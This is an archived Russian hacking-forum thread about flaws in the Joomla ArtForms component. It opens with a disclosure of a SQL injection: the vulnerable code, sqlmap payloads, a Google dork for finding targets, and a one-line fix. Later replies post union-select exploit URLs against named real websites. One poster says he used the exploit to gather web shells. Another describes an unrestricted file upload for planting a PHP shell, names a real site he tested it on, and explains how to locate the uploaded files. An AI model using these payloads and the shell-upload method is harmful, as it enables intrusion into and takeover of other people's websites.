PDA

Просмотр полной версии : Sql injection Joomla com_artforms


Machine
10.02.2012, 22:55
1) Дата: 9.02.2012

2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/

3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability

4) Автор: Machine

5) Тип: удалённая

6) Опасность: 9

7) Описание: описание смысла уязвимости, пример дырявого кода

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

$db =& JFactory::getDBO();

saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );

Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для

проведения SQL иньекции, вводя произвольный SQL код.

Вывод sqlmap:

GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable

GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable

GET parameter 'formid' is vulnerable.

При подстановке в formid кавычки, встретил 2 варианта:

1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."

2. Уязвимый запрос никак не влияет на возвращаемую страницу.

Оба варианта можно эксплуатировать.

8) Эксплоит:

Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.

Вывод sqlmap:

---

Place: GET

Parameter: formid

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ

---

9) Поиск: пример поиска приложения через поисковые системы

Google dork: inurl:index.php?option=com_artforms

10) Решение: в /components/com_artforms/artforms.php

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

поменять на

$formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));

=====================

Видео _http://depositfiles.com/files/j5vqht4y9

=====================

Отдельное спасибо z0mbyak'у.

HAXTA4OK
10.02.2012, 22:55
по просьбе ТС

Expl0ited
10.02.2012, 23:29
Code:
http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7 ,8,9,10,11,12--+&Itemid=202

обычный вывод

z0mbyak
11.02.2012, 14:43
обычный вывод


Не всегда, таймбэйзед работает, а вывода нет)


http://www.infotrust.ru/index.php?option=com_artforms&formid=13

winstrool
25.11.2013, 00:09
Expl0ited said:

Code:
http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7 ,8,9,10,11,12--+&Itemid=202

обычный вывод


Обычный вывод не везде срабатывает!

Понадобилось нарыть по быстрому шеллов, воспользовался данным експлоитом, до сих пор актуален, автору +!

winstrool
12.01.2014, 19:43
Расковырял такую багу в версии ArtForms 2.1b7.2 думаю имеет смысл покапать и другие версии.

Заполняем форму прикрепляем свой шелл и идем в папку куда все заливается:


site.com/images/artforms/attachedfiles/


сам код заливки:


if (!in_array('error', $attfileerrchk) && $_FILES['attfile']['name'][$g] != '' ){
jimport('joomla.user.helper');
$saltpass = JUserHelper::genRandomPassword('5');
$attachmentsucc = $_FILES['attfile']['name'][$g];
$attachmentsname = date('Y-m-d-H-i-s-').$saltpass.'-'.str_replace(' ','-',$_FILES['attfile']['name'][$g]);
$attachments[] = $artuplpfad.$attachmentsname;
$attachmentstodb[] = $attachmentsname;
move_uploaded_file($_FILES['attfile']['tmp_name'][$g],$artuplpfad.$attachmentsname);
$meldung .= ''.$attachmentsucc.': '.JText::_( 'ARTF_SUCCESS' ).'
';
}


протестировал тут успешно:


http://coon-cat.com/?option=com_artforms&formid=1&Itemid=1


Формат в котором заливается:


PHP:
$attachmentsname=date('Y-m-d-H-i-s-').$saltpass.'-'.str_replace(' ','-',$_FILES['attfile']['name'][$g]);

2014-01-12-16-15-32-PhpjV-shell.php

2014-01-12-16-19-22-vyEVm-shell.php

попадались сайты с расшареной папкой по запросу:


Index of /images/artforms/attachedfiles


Но не везде проходила эта бага...

с закрытыми папками остается только брутить соль в название из 5 символов.

сам проект ведется здесь:


http://joomlacode.org/gf/project/jartforms/

HAXTA4OK
11.09.2014, 23:48
ушло